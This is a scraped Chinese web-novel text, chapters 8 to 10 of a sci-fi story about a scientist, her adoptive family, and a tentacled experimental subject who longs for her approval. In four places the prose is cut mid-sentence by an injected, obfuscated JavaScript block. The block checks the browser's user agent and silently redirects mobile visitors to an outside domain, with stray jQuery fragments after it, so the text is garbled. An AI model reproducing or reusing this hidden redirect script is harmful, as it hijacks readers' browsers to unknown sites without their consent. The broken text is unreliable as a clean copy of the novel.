闻央走进餐厅大门,跟着机器人小姐的指引来到了桌子旁
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880986|159822||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,坐了下来,范丁友还没来。
机器人小姐把桌上立着的两根长蜡烛点燃,微笑示意离开。
不知过了多久,蜡油顺着烛身,一滴滴地落到烛盏上,凝固成一摊。
穿着西装的男人匆匆来迟,看到闻央后,眼中闪过一丝惊艳。
“对不起,我来晚了,你是闻央吧,”范丁友取下银框眼镜,眼睛眯起,在眼尾挤出了一条褶子,“你和小时候不大一样了。”
闻央不喜欢他打量的眼神,和托尼单纯欣赏的眼神不同,范丁友的眼神像是看着一块砧板上的猪肉,好决定从哪下手。
他长相不错,一副翩然贵公子的样子,但眼珠浑浊,看着像是常年混迹酒场。
闻央点点头,神色淡淡,骨节分明的手指拿着一张餐巾纸叠起纸来。
十、九、八......
“今天这么突然约你真是不好意思,我刚结束隔离,本想着若你没空我们改天再约,没想到你恰好有空……还打扮得这样隆重。”范丁友语气暧昧,目光在她面上流转一圈。
四、三、二......
闻央在脑中回想着,他小时候是这样的吗?印象不深了,只记得有个小胖墩经常来找闻松凌玩。
不过不需要记起,不是什么重要的人,从前往后都不会是。
一。
闻央抬起眼皮,涂着墨蓝色的纤长睫毛抖了抖。
范丁友的终端响起,他看一眼没绷住表情,大惊失色,也不维持矜贵公子哥的形象,骂了一句脏话,套上西装外套后,抓起桌子上的眼镜就走。
他在健步如飞的间隙转头,因为太过急忙,西装外套都没套好,皱皱巴巴的,摆摆手,“我有点急事,下次再约。”
范丁友走后,菜上了。
机器人小姐端着盘子把一道道菜肴摆上餐桌,闻央道谢后细细地品味起来。
店内环绕着旋律舒缓的轻音乐,黄色的暖光落在木质餐桌上,蜡烛缓缓燃烧,火光微晃,投下的阴影在洁白的瓷器上跳跃。
闻央慢慢吃完,慢条斯理地拿纸巾擦了擦嘴。
一道高大的阴影从她背后落到桌面上。
他坐到了闻央的对面。
“二哥。”她没抬头,拿起方才叠了一半的天鹅,专心地叠了起来。
闻松凌手握成拳重重地咳嗽一声。
闻央把手中叠好的天鹅往前一推,撩起眼皮,发现面前的男人一身水汽。
“外面下雨了?”
“嗯。”闻松凌的肩膀半湿,从兜里掏出一支纸烟来,咬着烟点火。
闻央看了眼终端,“很晚了,我走了。”
“我送你吧。”
“不用,我叫车了。”
她头也没回,鱼尾裙摇曳,离开了。
闻松凌猛吸一口烟,从后用指尖掐着,胳膊肘撑在桌子上,待她的身影离开视线后,才看向桌上用餐巾纸叠的天鹅上。
天鹅身子胖胖的,看不出半分优雅。
她的折纸技术还是和小时候一样,没有进步。
闻松凌心里这样想着,嘴角却勾起,下一秒把叠好的胖天鹅小心地放进了口袋里。
她今天很漂亮。
8. 触手怪物(8)
“啪。”手重重地拍在桌子上,桌腿微晃。
父亲眉毛狠狠地向上揪着,满眼怒火,“真是荒唐,范丁友这是不把闻家放在眼里吗?”
闻澜冬坐在桌前翻阅文件,闻岚溪倚靠在桌边,拿着一支笔在手中转着,她说:“范家的创灵科技这几年确实是做大做强了,前段日子听说和智极未来走得挺近的,不知道是不是在我们之间摇摆?”
“范家那小子说是什么理由来着?”父亲一屁股坐下,皱着眉头揉了揉太阳穴。
“他昨天突然发来邀约,据闻央所述,迟到了好一会,坐下没几分钟又走了,”闻岚溪耸了耸肩膀,放下手中的笔,半信半疑地道,“说是悬浮车被人砸了,连带着里面的商业合同都不见了。”
“城市之眼遍布各个角落,他却说找不到肇事者,因为没有被监控到,这个说法未免有奇怪,但他语气焦灼,瞧着也不像假的。”
闻岚溪也坐了下来,说道:“反正我觉得创灵科技这几年是有点飘了,虽然闻央是收养的,但范丁友这个态度确实不尊重闻家,我觉得接下来要晾着点他,不然显得我们闻家太上赶着了,而且A区这么大,也不独独只有创灵科技这一家。”
她拉长语调,“再说,范丁友私下里玩得挺花的,我们到底也是看着闻央长大的,再看看吧。”
提到闻央,父亲抬起眼皮,目光沉沉,看向旁边闻澜冬,“澜冬,你准备好闻央的新岗位了吗?”
“还没有,”闻澜冬领口系着烫金条纹领结,听到父亲的声音,放下手中的文件,看过去,“我打算再过段时间,目前公司业务繁忙,腾不出空安排岗位。”
他骨相优越,但不是西方那种锋利的长相,带有一种东方的儒雅感,长得和闻岚溪极其相似,一看就能看出两人是双胞胎。
他思索了下,说:“父亲,四号实验目前有了些许进展,前几天实验室发来了实验汇报,您要不要过目下?”
四号实验是闻央负责的实验,耳门科技自人类移民至新星以来,历经几代人的管理,累计至少有上万项实验,其中实验的编号并不是按照时间线编排,而是按照重要程度排列。
“我早看过了,不过是根据章鱼基因碎片研究出了一个所谓的“完美异种”,虽然不会基因崩溃,但不具备普适性。这项实验耗费了公司那么多资金,既不能量产作为生物武器,也不能解决其他异种基因崩溃的问题,不过是个没有利益价值的怪物,”父亲的食指轻扣桌面,眉眼间划过一丝不耐,“她父母当年给我画的饼也该结束了,还什么章鱼是比人类更高级的存在,现在古地球都玩完了,还研究古地球的章鱼......”
他鼻间发出“嗤”一声。
闻澜冬不再说话,他和妹妹闻岚溪对视一眼,两人挑挑眉,低头处理手中的事务。
......
这段时间,实验室大批量资金的撤离搞得人心慌慌,实验项目不被公司重视已经是铁板钉钉的事了,即使实验室这几天不停给公司总部发实验报告,想要改变总部的想法,但如同投入海里的石头,连个响都听不到。
在项目即将解散的边缘,科学家们都尽最后一份力在7092身上,试图去挖掘出更多的东西,或许可以改变公司的想法。
培养皿内白色的气体散去,露出一个全副武装的人。
她穿着全套白色防护服,装备得只能看到护目镜下一双因为紧张而不停眨的眼睛。
实验体7092倒在地上,青年侧脸陷在浅浅的水池里,银白的短发下只能看到挺直的鼻梁,八根粉色的触手软绵绵地落在地面,像是一朵绮丽美艳的花,看似柔软可欺,但这只是它的伪装,下一秒就会变成一条惊弹起的美丽毒蛇,把人吞入腹中。
伊芙紧张地咽了咽口水,蹑手蹑脚地走到实验体的旁边,不敢发出一点动静。
闪着金属光泽的细针头插入皮肤,注射器慢慢拉动,蓝色的血液逐渐填满容器的空隙。
待针头拔出后,伊芙重重地松口气,正打算离开,一时没注意,脚尖不小心踩到了黏糊糊的触手。
寒毛从背上升起,像是密密麻麻的蚂蚁爬过,她陡然僵住,即使隔着一层鞋子,还能感受到那股诡异黏滑的触感。
触手似乎动了动。
伊芙脑门都在“嗡嗡”地响。
救命啊妈妈,麻醉剂失效了吗?
她在心里狂喊,咽了咽口水,偷瞄到实验体没有动静,立马抬脚离开。
......
站在培养皿外的科学家愁容满面,她对闻央说:“7092的抗药性越来越强了,麻醉剂对它的效果也越来越弱,目前对它的研究过于浅薄,我担心一味地加大剂量可能会对它的大脑神经造成不可逆的影响。”
“但是无论怎样,不可否认的一点是,它在迅速成长。”
想到7092即将迎来的结局,科学家不着痕迹地叹一口气。
伊芙从培养皿后走了过来,她抱着刚取下的防护头盔,额头颈间都是汗,一脸惊吓过度的样子。
“我是真的不愿意进去了,太吓人了,”她咬着嘴唇可怜巴巴地说,“我刚刚不小心踩到它了,我发誓它的触手在动。”
“是你的错觉吧?”女科学家瞪大眼睛看向她,“这次的麻醉剂量是上次的三倍,再怎么样也不可能这么快醒。”
“我不知道。”伊芙两目无神,喃喃地道。
她也不确定刚才触手的蠕动是不是自己的错觉,但她真的被吓到了。
自那天发狂以后,实验体7092的脾性越来越古怪,伊芙不敢想象如果抽血途中它醒来自己会是什么后果。
本来可以用医用仿生机器人代替去抽血的,但是如今的实验室没有经费去置办,很多事情需要亲力亲为,就连上次被实验体打碎的显示屏都是闻央自己掏腰包买的。
“血液样本足够了,如今7092不在可控范围内,接下来大家都不要进去了。”闻央道。
话音刚落,培养皿内陷在水里的指尖动了动,青年手撑地面,晃悠悠地起来。
培养皿外的女科学家没忍住惊呼一声,一脸不可思议地说:“怎么可能?这是足矣麻醉三头大象的剂量!”
青年仰起头,水珠一滴滴地顺着那张迤逦的脸滑下,他睁开湿漉漉的睫毛,如玛瑙般纯净的蓝眸看向闻央。
“妈妈。”他很虚弱,药效没完全消失,那张一向浅粉的唇更浅了,近乎成了白色,此刻微微张开,挤出细微的声音。
颅内的触手吵吵闹闹。
“妈妈不要我们了呜呜呜呜。”
“一定是你不够漂亮,妈妈才不喜欢我们的。”
“我
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880987|159822||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
们是不是很难看呀?我看外面那些人都是光秃秃的两条触手,不像我们长了八根触手。”
“可是我们明明很好看,我觉得我们很好看。”
“你觉得有什么用?妈妈又不这样觉得,你看她和别人一样只有两根触手。”
.......
“别吵了。”青年在心里不耐烦地道。
八根触手纷纷噤声,过了一会,其中一个委屈地说:“可我们就是你呀,这不都是你自己想的吗.......”
说完,像是被其他触手捂住嘴,它“唔唔”两声,不出声了。
察觉到了主体暴躁的心情,它们不敢说话了。
闻央走到培养皿前,女人抬起白皙的下巴,她长相甜美,吐出的话却冷漠至极,“我不是你妈妈。”
标准的诺亚语一字一顿地传到青年的耳里,他的心上像是被一块重石压着,直直地掉进淬满冰的水里。
身后的伊芙和女科学家有些紧张。
先前她们对实验体对话无数次,它分明听得懂,却不愿意交流。
这次……它会吗?
青年用力地甩了甩八条粉色触手,铁链把它们牢牢地固定住,震起无数水花,飞溅到面前的玻璃上。
玻璃上满是晶莹剔透的水珠,在光下闪烁着,他紧紧地盯着其中一个,闻央的身影缩小成一个小点,凝聚在凸面的水珠上。
“你是我的妈妈。”他固执地说,是同样标准的诺亚语。
他抬起汪洋般的蓝眸,漂亮的眼瞳有一股拗劲。
“我不是。”清甜的女音不带一丝波澜地道。
“你就是!”他大声地喊,眼尾微红,隐隐有泪花闪出,在光下亮晶晶的。
触手奋力地挣扎起来,铁链绷直,隐隐有断裂迹象。
闻央静静地望着他,神色淡淡。
青年的动作突然停下,触手蜷缩着,很乖巧的样子,不再试图挣脱。
伊芙莫名地松口气。
闻央站在她面前,她骨架单薄,穿着着长到膝盖的白大褂,一头柔顺的灰发被发夹夹住,露出那一截脆弱纤细的脖颈在高大的实验体前,像是一条游曳在雾气里的鱼。
青年转了过去,他垂着头,触手一动不动。
闻央轻轻地敲了敲玻璃。
青年哼了一声,身体往前挪了娜。
“7092?”闻央小声地叫着。
“你不想做我妈妈,”青年的诺亚语极其流畅,不复前些时日的钝涩,“那就不要做了。
他赌气地说。
闻央关掉了交流按钮,音频“嘟”一声后截然而止,培养皿内的一切杂音消失了,青年错愕地回头,却见她头也不回地离开了。
“接下来可以对他进行更复杂的认知行为测试了。”
闻央对女科学家说。
女科学家一边答应,一边偷偷瞄向闻央背后的实验体。
她没法不注意,因为青年面带震惊,宛若猫儿的圆眼写着“你居然不来哄我”。
明明是异形般的怪物,女科学家却觉得有点可爱。
闻央真的没有回头。
她缺觉,捏了捏肿胀的太阳穴后,踏入休息室补觉了。
身后的那道视线如同带有实质性一般,闻央关上门,隔绝了那道如影如随的视线。
9. 触手怪物(9)
“哥哥。”
女孩浅灰色的眼眸眨了眨,伸出肉嘟嘟的手指,戳了戳趴在桌上写作业写睡着的男孩。
他的头动了动,露出面颊上的一道红痕,这是被笔帽压出的痕迹。
黑色的短发睡得乱糟糟的,男孩皱着眉嘟囔两声,睁开睡眼惺忪的眸子,直起腰,压着作业本的手向上伸着,大大地伸了一个懒腰。
待看清面前的女孩后,闻松凌一边打哈欠一边问,“怎么了?”
“我饿了。”
“你饿了怎么不和阿姨说?”闻松凌揉了揉头发,发现有一缕头发翘在眼前,看着极不顺眼,他用短手指捋了捋,但头发仍顽固地挺立着。
他放弃了,任凭头发翘着,看向闻央。
今日好像是家中阿姨公休的日子?闻松凌忽然想到。
家里没人,难怪呢,闻央饿了自然只能找他。
“我去给你拿个面包吧。”
闻央乖顺地点点头,目不别视地看着他。
闻松凌被看得有些忸怩,站起来,面对不大爱说话也不熟的女孩,一时手足无措。
他是想说点什么的,但不知道说什么。
他从小就是家里的小霸王,见谁都不带怵的,面对哥哥姐姐,他可以撒娇赖皮,但对比自己小还是女孩子的闻央,闻松凌忽然就变成了小大人的样子。
面前的女孩长相精致,眼眸是独特的灰色,宛若一团化不开的雾,看人的神情都是朦朦胧胧的,但是仔细看向眼底深处,里面没有什么情绪。
梳着两个小啾啾的女孩子仍在看着他。
闻松凌在她注目下不知道为什么有些紧张,甚至连走路姿势都不自然起来,一时间同手同脚。
他走出房门,松了口气,活动了下僵硬的胳膊。
闻松凌摸着旋转楼梯的扶手往楼下走去。
待闻松凌的身影消失后,闻央移开了视线,窗外的金光静静地洒落在桌上的试卷上,她的目光被旁边满是鬼画符的草稿纸吸引。
她走过去坐了下来.......
“我拿了椰蓉口味的面包,不知道你喜不喜欢?”
闻松凌摇摇晃晃地端着餐盘进了房间,上面的牛奶杯挡住了他的视线,一时没找到闻央的身影。
放下后,杯子发出轻微的一声“啪”,几滴牛奶飞溅出来,落在餐盘上。
看清女孩在做什么后,闻松凌的脸一下子急得通红。
“你在干什么!你.......”他猛地抓住女孩纤细的胳膊,动作粗鲁的甚至把她头上的发夹都弄歪了,“不要在我的试卷上乱涂乱画!”
“你知不知道,这个是老魔头布置的作业,若是被他发现,我就惨了.......”话戛然而止。
闻松凌看向试卷,上面整整齐齐,每一个空都填写着答案。
答案?
他有一丝恍惚,惊觉自己还紧紧地抓着闻央的手腕,连忙松手后,闻央的白皙皮肤上已经留下红色的指痕。
他在闻央这个年纪的时候会写字吗?
“对.......不起!”闻松凌这才意识到自己误会她了,半天才憋出一句道歉来,在他的印象里,从来都是别人道歉的份,这还是他的第一次。
他的脸又红了起来,这次的红和刚才截然不同,而是一种发窘的胀红。
“但是.......你也不能帮我乱写答案呀。”他凑近试卷,长长的眼睫抖了抖,认真地查阅答案后,表情忽然凝固了。
这些步骤答案似乎都是对的?
闻松凌不可思议地看向坐得端正的女孩,与此同时,如银铃般悦耳的童音响起,“没有。”
闻央眨着眼睛,声音脆生生的,严肃地重复道:“我没有乱写答案。”
她从椅子上跳了下来,抬起肉嘟嘟的小手,把自己头上的发夹取下来,又一丝不苟地戴上去。
闻松凌的目光回到试卷上,他不知不觉拿起笔,一屁股坐了下来,验算闻央的答案。
这是老魔头布置的超纲作业,特别难。
他刚才就是被一道题目难住,算了半天没算出来,最后直接趴桌子上睡着了。
而此时,困扰许久的题目旁边写着歪歪扭扭的步骤以及答案。
他看着闻央的解题步骤,抓起被自己乱涂乱画的草稿纸,专注地做了起来。
片刻后,闻松凌发出小声的惊叹。
“你.......”他抬起头,看向个头只到自己肩膀高的闻央,咽口水道,“这全都是你做的?”
“这些题目很难.......”他讪讪地说,如同在做梦一般。
灰眸灰发的女孩点点头,稚气未脱的脸上流露出不解来,“很难吗?我觉得好简单啊,哥哥你不会做吗?”
闻松凌觉得自己的胸口有点疼,自己努力建立的形象在那一句话中崩然倒塌,于是,他顺其自然地站了起来,把手中的笔递给了过去,郑重地说:“那你帮我写吧。”
闻央点头,宛若拿接力棒一般地接过笔,坐在椅子上继续写试卷。
女孩的手肉嘟嘟的,手太小了,而笔对于她来说又过长,笔杆在手中东倒西歪,虽然握笔有些费劲,但她做题的速度却很快。
闻松凌迷茫地望着闻央头上的啾啾,她现在不应该是坐在地上玩洋娃娃的年纪吗?
不过真好啊。
闻松凌很快这些抛之脑后,一屁股坐到地上,一把抓起玩具,忘情地玩起来。
过了一会,一声清晰地“咕”响起,然后更大声的“咕咕”钻进了闻松凌的耳朵里。
他放下列车模型,朝声音源头看去。
闻央的背挺得笔直,专注地做着试卷,仿佛肚子饿得咕咕叫的不是她本人一般。
闻松凌看向桌上纹丝未动的面包和牛奶,站了起来,疑惑地问:“你怎么不吃呀?是不是不喜欢?”
闻央停下手中的动作,灰漆漆的眼珠看向他,一板一眼地道:“可是你让我做试卷。”
“那你可以先吃了再写呀?或者边吃边写?”他挠了挠头,目露不解,“你不饿吗?”
女孩顿了顿,点点头,认真地说:“我很饿。”
“那你快吃吧,”闻松凌拍了拍她的肩膀,拿起桌上几乎做完的试卷,爱不释手地看着,极其亲切地道,“央央,谢谢你。”
闻央抿了一口牛奶,像小仓鼠一样小口地啃着面包,待咽下后,乖乖地说:“不客气的,哥哥。”
原来这就是妹妹!
闻松凌的内心像是被快乐的泡泡填满,恨不得激情澎拜大叫一声,只恨妹妹怎么没早点来。
他一边傻笑,一边幻想着以后有作业都可以偷偷找妹妹做。
而自己嘛!就可以在旁边玩耍了。
到时候还可以邀请同学来家里玩,让他们看看闻央。就允许他们天天在学校炫耀自己的妹妹,他们的妹妹可以帮他们做作业吗!?
闻松凌越想越开心,笑得嘴都合不拢,看闻央活像是看神仙,下一秒,他的笑容僵住。
“央央?”
“央央!”
年幼的闻央张开手掌,嘴上叼着吃到一半的面包,诧异地低头看自己逐渐如雾气般散去的身体,闻松凌把试卷往后一挥,着急地朝她跑去。
雾气扩散开来,闻央害怕极了,眼中带着泪花,她张了张嘴,像是在喊“哥哥”。
小男孩飞奔着张开手,努力地向前捞,扑了个空,指缝间只残存着流动的空气。
紧接着,他惊讶地发现自己的手连带着整个身体都化为了雾,最后在阳光中慢慢散开。
房间里空荡荡的,仿佛什么都没发生,唯独那一张被甩飞的试卷稳稳地落在桌子上。
“扣扣扣。”门被规律地敲了三下。
闻央推开半掩的门,探头望了望
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880988|159822||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,走了进来。
她长大了,那个瘦小的灰眸女孩在这几年拔苗似地抽条,身姿变得修长高挑,宛若一株沾着露水的鲜花。
那双葡萄般圆润的眼睛也长开了,眼尾微微上挑,灵动中带着丝狡黠。
少女任凭一头及腰的长发散在身后,手上拿着什么东西,进来后,她把手中的东西抱怀里,腾出手捏住鼻子。
屋里满是酒气,年少时的闻松凌整个人趴在床上酣眠,入睡前没有换去外衣,衣服上压得满是褶皱。
他额前的头发挡住了大半的眼睛,整个人看上去有点阴郁。
“生日快乐。”
闻央小声地说,见他还未清醒,便蹑手蹑脚地放下礼物打算离开。
她的手腕被一只手握住。
挣扎几下,闻央没挣脱出来,那双有力的大手紧紧地握着,像是在抓心爱的玩具一样。
“哥哥?”她回头,见少年动了动,长长的刘海散开,露出紧闭的眼,以及因为宿醉而紧皱的眉头。
闻央用另一只手小心地掰着闻松凌的手指。
像是察觉到手中那截柔软无骨的细腕即将溜走,那只大手又用力了三分。
“痛。”闻央忍不住惊呼,这一动静也吵醒了睡梦中的闻松凌。
他半眯着眼,屋内没有拉开窗帘,视线昏暗,眼前仿佛有一层水汽,模糊得看不真切。
闻松凌以为自己在梦中,嘴微微张开,含糊地说了些什么。
“央央,我......”
闻央听不清,她看向被死死抓住的手,放弃挣扎,俯身凑到他面前。
话像是从牙齿缝里挤出,断断续续得听了半天也没听明白。
就在闻央耐着性子听的时候,攥住她的那只手蓦地松开。
床上的少年痛苦地揉了揉太阳穴,坐了起来,额前的黑发遮住英气的眼眸,也挡住了神色。
待看清面前的人后,闻松凌的耳垂一下子红了,整个人烫得像是煮熟的虾子,幸好室内光线昏暗,又有遮挡,让人看不出异常。
各种情绪交织在心中,宛若马上要冲出喉咙,那些半梦半醒的画面难以启齿,他不知道自己刚才有没有乱说什么。
“滚。”
闻松凌恼羞成怒了。
沙哑的男音传到闻央耳内,空气几近凝滞,片刻后,闻松凌撇开头。
闻央走了。
他眼中闪过一丝后悔,视线落在床边的礼物上,久久没能移开。
后来那句亲昵的“哥哥”变成了礼貌而生疏的“二哥”。
.......
闻松凌从梦中醒来。
天色微亮,他沉默地坐起,如豹子般敏捷地把被子叠成豆腐块,洗漱后,见时间尚早,又把房间收拾了一遍。
如今他的房间已经看不出年少时期的样子了,整洁得只有生活必需品,像是随时都可以卷铺盖走人。
除了床底下那个沉重的大箱子。
闻松凌曲腰,钻进床底,双手握住箱子把手往外拉,拉出后,男人宽厚的肩膀稍一用力,厚实的银色铁箱就被轻而易举地搬了起来。
阵阵浮沉扬起,在灯光下旋转飞舞,他抹去箱子表面的灰。
输入密码后,箱子开了。
这是他回家后第一次打开,里面的东西原封不动,和离开前一样。
各种乱七八糟的小物件堆在箱子里,小皮筋、小发圈、手链还有更多莫名其妙的杂物。
他站起,从桌子的抽屉拿出一个东西,然后珍重地把它放到箱子里。
白色的灯光下,一只胖乎乎的白天鹅叠纸和一只皱巴巴看上去保存得有些年头的白天鹅叠纸并列在一起。
它们如初一撤,昭示着其主人一如既往的手艺。
一张照片被两只天鹅静静地压在下面,照片上少女时代的闻央浅笑着,耳垂上一颗浅灰色的小痣极为惹眼。
10. 触手怪物(10)
“咔嚓。”
培养皿顶部裂开一条缝,下面坐着的青年头也不抬,泡在水中的粉色触手向上扬起,狠狠地击打过去,在即将击到的瞬间,那条缝隙极快地合上。
“啪。”触手打在严丝合缝的顶部,不甘心地在空中晃了晃,宛若一朵美艳带毒刺的花朵,随后缓缓落下。
“它现在抗拒一切。”在旁边观察的科学家无奈地说。
这几天的实验体7092异常暴躁,表现不止于想要毁掉一切外界放入的东西,而且一旦发现培养皿前有人类站着,他的触手就会狂暴。
青年躲藏在培养皿的角落,八条粉色的触手作花瓣状地包裹住他,挡住所有的光线。
他在黑暗里轻轻喘气,整个人蜷缩在浅浅的水池里。
“妈妈不要你了。”
“你太丑了,所以妈妈不喜欢你,你看到了吗?那天妈妈对那个金发女人笑得多开心。”
“妈妈从未对你露出过这样的笑容。”
“你长得和他们都不一样,你是怪物。”
八道迥异的声音齐声道:“你是怪物。”
他把耳朵埋在水里,好像这样脑内这些不怀好意的声音就会消失一般。
但声音没有消失。
“妈妈不喜欢你。”它们不停地重复着。
渐渐地,这些充满恶意的声音变得含糊而空洞,成为一种无意义的呓语。
水在某一刻也变得越来越黏稠,黏稠得近乎拉丝,耳鼻喉被白浆般湿黏的丝线缠住,青年的头晃了晃,试图从中挣扎开来,但浑身上下包括八条触手都被黏糊糊的丝线笼罩住。
这些宛若蜘蛛丝一样的白线上穿插着一条条黑色的线段,看上去有一种繁复的恐怖。
青年挣扎着,粉色的触手挣扎着,而那些拉丝的白线越缠越紧,像是要把他包裹成一个密不透风的白茧。
下一秒,无数黑色的线段消失了,随之取代的是一双双黑白分明的眼。
充满血丝的眼球下面长出一张张殷红的嘴来,那无数张眼、无数张嘴纷纷对着他,一睁一闭、一张一合地道:“妈妈不喜欢怪物。”
.......
青年猛地从水里起来,触手晃漾着散开,水花四溅,那些紧紧贴在身上的黏腻感消失了。
银白的短发湿哒哒地贴在头皮上,他撑着胳膊爬起来,耳里传来触手们亲昵的问候。
“你还好吗?”
“你刚才怎么了?好吓人呀,整个人僵直地看着前面,也不理我们。”
“你没事吧,我们都好担心你的。”
“我们都喜欢你哦。”
它们迫不及待地说着,察觉到青年此刻低落的情绪,试图让他开心一点。
触手们晃呀晃,像是一朵盛开的粉色花朵,他垂下眼眸,在心里回应着,“谢谢,我没事。”
魂牵梦绕的身影陡然出现在视线里,青年抬起眼,看到站在培养皿前的闻央。
他甩了甩头发,把上面的水珠甩掉了不少。
粉色的触手紧贴水面,慢慢地蠕动,他来到她面前。
培养皿外的女人灰眸里仿佛盛着一汪春水,她鼻尖微翘,嘴唇是淡红色,一头如丝绸般柔顺的灰发扎在脑后,露出两只耳朵。
她今天没带耳钻,裸露的耳孔旁有一粒极小的浅灰色痣。
好香。
即使隔着密闭的容器,青年也能闻到淡淡的香味。
目光顺着白大褂往下看,女人两条纤细笔直的腿站在地上。
他偷偷地看了下自己的八根触手。
粉色的触手肌理细腻,纹路带着一种诡谲的美感,此刻它们在脑内纷纷打气,“看呀,我们多好看呀!”
“人类只有两根光秃秃的触手,没有颜色没有花纹,哪里比的过我们呀。”
“要自信!我们是最最最好看的。”
陡然间,实验室的灯全开了,强烈的白炽光刺激得青年眯起眼睛。
面前的玻璃反射出他现在的样子。
湿发上的水珠顺着面颊一滴滴地掉落,他面色苍白,是一种非人感的白,下半身八条粉色触手狰狞地蠕蠕而动。
若是不仔细看,他如同生长在一朵盛开的粉色水生花中,但玻璃上的倒影太过清晰,娇美的花瓣不复存在,那八条具有肉感、一看就是异端的触手在一刻不停地动着。
青年眼中闪过痛苦。
眼前这个女人的神情永远平静淡漠,她分明会笑,一笑就会露出两个可爱的小酒窝,可从来没对他笑过。
她就这样冷静地看着他。
看得他无以自容,在这逼仄的容器里,甚至想找一个藏身之处都找不到。
青年的眼里划过一丝怨恨,看闻央的眼神无法像以前那样依赖。
胸口好似被沉甸甸的巨石压着,这块石头重重地把他推入刺骨的冰海里。
所有的情绪缠绕在一起,压抑得喉咙干涩疼痛,青年把心中呼之欲出的话问了出来。
“我.......为什么不是人类?”
若是忽略话语中的挣扎和痛楚,他的声音低沉而富有磁性,宛若在听极佳的交响乐。
但没法不忽略。
“我为什么和你们不一样?”
他的声音不大,从转播麦克风里扩散开来,明明是轻声却在整个实验室如雷贯耳地回响。
先是皮肉被一把把短刃划开,然后是心脏,刀尖深深刺入,最后旋转着捅,疼得他眼尾闪出些泪花。
他浅粉色的唇张开,像是一条失水许久、苟延残喘的鱼,闻央注意到他的嘴角有一粒粉红色的小痣。
和他的嘴唇同色,若不仔细看很难发现。
她的思绪被青年的话拉了回来,“我到底是什么?”
身下翻滚着八条触手的异形青年紧紧地盯着她,眼里有怨气,更多的是茫然和无措,触手随着声音摇晃,却不复往日的活泼,看上去蔫巴巴的。
“我们好丑陋。”
“我们长得太奇怪了,到目前为止还没有看到和我们一样的人。”
“我们是异类,有着八根触手的异类。”
“我们存在的意义是什么?”
触手的声音纷纷响起,明明是它们在说话,青年却觉得是自己的无声呐喊。
闻央垂下眼睫,遮住了那一双漂亮的灰眸。
刚才亮起的灯灭了,实验室恢复了正常的光照,玻璃上反射出来的影像消失,青年怅然若失地倒在水里。
......
闻央坐在显示屏前,盯着屏幕上密密麻麻滚动的数据,这些都是关
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880989|159822||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
于实验体7092的核心数据。
她浏览着,拉到底部后,按下一个键。
屏幕上出现了鲜艳的巨大警告符号,她毫不犹豫地点下。
流动的数据飞速地消失,很快屏幕恢复如初,所有数据清空并不可复原。
“闻教授,”门被敲了敲,伊芙走了进来,她面带犹豫,像是在思考措辞,“大家又吵起来了......要不您去看一下吧。”
实验室要解散了。
伊芙垂头,盯着自己的脚尖,掩住眼中的忧伤。
“好。”闻央颔首,关闭屏幕,路过伊芙的时候停留了片刻。
金发少女敛着眼,脚步悄悄往旁边移动了一下,似是不想让闻央看见自己现在的样子,但她肩膀小幅度地微颤,眼中有一闪而过的隐隐泪光,难以让人忽略。
闻央拍了拍她的肩膀,语气温和,“我说过的话都作数。”
“谢谢闻教授,”伊芙吸了吸鼻子,声音带着哭腔,她抬起泪眼汪汪的眼眸,满怀期待地问,“实验室有可能重新开启吗?”
不可能。
闻央撇开目光,在心里轻轻地说。
但面对翘首以待的少女,她无法诉说真相,顿了顿后道:“概率很低,若是重新开启,我会通知你的。”
“好!”伊芙一改哭脸,年轻人的情绪总是来得快,去得也快,雀跃涌上面庞,发觉自己失态后,她羞赫地说:“对不起。”
“闻教授你快去吧,他们吵得挺厉害的。”得到了闻央画的饼,她的声音都带上不自知的放松和欢喜。
闻央在心里轻叹一口气。
走到外面后,果然如伊芙所说的那样,他们吵得剑拔弩张。
“我认为应该把7092送到J区的深海动物研究所,那边拥有更广阔的空间以及更好的条件。”
